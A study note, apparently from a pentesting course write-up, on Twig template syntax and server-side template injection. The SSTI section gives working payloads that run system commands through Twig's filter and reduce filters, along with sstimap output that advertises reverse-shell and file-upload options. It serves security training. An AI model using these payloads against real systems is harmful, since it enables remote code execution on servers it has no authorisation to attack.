Twig

Syntax

The content below is based on OffSec's WEB-200 course.

PHP does not check data types, thus, treats strings as numbers. Both the examples below will be evaluated to 25.

{{5*5}} 
{{5*'5'}}

A unique piece of Twig syntax is using - to trim whitespace.

{{-name-}}

A for loop.

{% for product in cart %}
Widget
	Price:	${{product.price}}
	Quanity: {{product.quantity}}
	Total: 	${{product.quantity * product.price}}
{% endfor %}

A if statement and the use of the capitalize filter.

<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>

SSTI

filter

The example below is based on TCM's Practical Bug Bounty course.

Following the methodology outlined here, we can see that we are dealing with a Twig engine (Figure 1).

# payload used
${{<%[%'"}}%\.
Figure 1: Using a polyglot to detecting the engine.

We can also confirm that we are dealing with either a Twig or Jinja2 engine by following the steps outlined previously (Figure 2). Twig uses PHP which does not check the variable type and as a result it treats 7 and '7' the same.

# payloads used
{{7*7}} # 49
{{7*'7'}} # 49
Figure 2: Testing for SSTI.

To make sure that this is indeed a server-side and not a client-side template injection, we can view the source code and check if the result is 49 or {{7*'7'}}.

<div>
    <hr><h3>Your message:</h3>49                </div>
</div>

Next, we can try any Twig-specific payload from this list, in this case leveraging the filter filter, and achieve (Figure 3).

# payloads used
{{['id']|filter('system')}}
{{['pwd']|filter('system')}}
Figure 3: Achieving RCE via an SSTI vulnerability.

The above process could be automated using sstimap.

$ sstimap.py -u "http://localhost:81/ssti0x01.php" --data 'greeting=*' --engine twig --method POST
<SNIP>

[*] Loaded plugins by categories: languages: 5; legacy_engines: 2; engines: 17; generic: 3
[*] Loaded request body types: 4

[*] Scanning url: http://localhost:81/ssti0x01.php
[*] Testing if Body parameter 'greeting' is injectable
[*] Twig plugin is testing rendering with tag '*'
[+] Twig plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:

  Body parameter: greeting
  Engine: Twig
  Injection: *
  Context: text
  OS: Linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, php code

[+] Rerun SSTImap providing one of the following options:
    --interactive                Run SSTImap in interactive mode to switch between exploitation modes without losing progress.
    --os-shell                   Prompt for an interactive operating system shell.
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port.
    --reverse-shell HOST PORT    Send a shell back to the attacker's port.
    --upload LOCAL REMOTE        Upload files to the server.
    --download REMOTE LOCAL      Download remote files.

reduce

The example below is based on OffSec's WEB-200 course.

Another filter we can leverage is the reduce filter which takes an arrow function and an initial value as arguments (Figure 4).

{{[0]|reduce('var_dump','Hello')}}
Figure 4: Testing the reduce filter.

We can replace the arguments with something that executes system commands, such as PHP's system function and achieve RCE (Figure 5).

{{[0]|reduce('system','whoami')}}
Figure 5: Leveraging the reduce filter to achieve RCE.

Last updated

Was this helpful?